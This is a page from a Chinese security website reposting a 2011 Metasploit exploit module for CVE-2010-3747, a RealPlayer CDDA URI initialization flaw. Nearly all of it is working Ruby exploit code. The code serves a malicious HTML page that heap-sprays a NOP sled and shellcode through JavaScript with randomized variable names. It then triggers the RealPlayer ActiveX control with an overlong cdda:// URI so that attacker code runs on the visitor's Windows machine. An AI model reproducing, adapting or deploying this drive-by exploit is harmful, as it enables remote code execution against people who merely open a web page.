首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RealNetworks RealPlayer CDDA URI Initialization Vulnerability (meta)
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-03-21  

##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
   'Description'    => %q{
     This module exploits a initialization flaw within RealPlayer 11/11.1 and
    RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
    initialization failure. However, this failure is improperly handled and
    uninitialized memory executed.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'bannedit',
     'sinn3r'
    ],
   'Version'        => '$Revision: 12009 $',
   'References'     =>
    [
     [ 'CVE', '2010-3747' ],
     [ 'OSVDB', '68673'],
     [ 'BID', '44144' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
     [ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'RealPlayer SP 1.0 - 1.1.4 Universal',     { 'Ret' => 0x21212121 } ],
     [ 'RealPlayer 11.0 - 11.1 Universal',        { 'Ret' => 0x21212121 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 15 2010',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  mytarget = target

  # the ret slide gets executed via call [esi+45b]
  retslide = [mytarget.ret].pack('V') * 750
  cdda_uri = "cdda://" +  retslide

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  nops = make_nops(8)
  nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

  # Randomize Javascript variables
  var_blocks    = rand_text_alpha(rand(6)+3)
  var_shellcode = rand_text_alpha(rand(6)+3)
  var_index     = rand_text_alpha(rand(6)+3)
  var_nopsled   = rand_text_alpha(rand(6)+3)
  spray_func    = rand_text_alpha(rand(6)+3)
  obj_id        = rand_text_alpha(rand(6)+3)
  html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
 #{var_blocks} = new Array();
 var #{var_shellcode} = unescape("#{shellcode}");
 var #{var_nopsled} = unescape("#{nop_sled}");
 do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
  for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
   #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
 }
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
  print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·POP Peeper 3.7 SEH Exploit
·Tugux CMS 1.0_final Multiple V
·CORE Multimedia Suite 2011 COR
·Fake Webcam v 6.1 Local Crash
·iCMS v1.1 Admin SQLi/Bruteforc
·ACTi ASOC 2200 Web Configurato
·libzip 0.9.3 _zip_name_locate
·Microsoft Source Code Analyzer
·Mediacoder 2011 RC3 m3u Buffer
·RealPlayer 11.0 Buffer Overflo
·MPlayer Lite r33064 m3u SEH Ov
·MediaCoder 0.7.5.4796 SEH Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved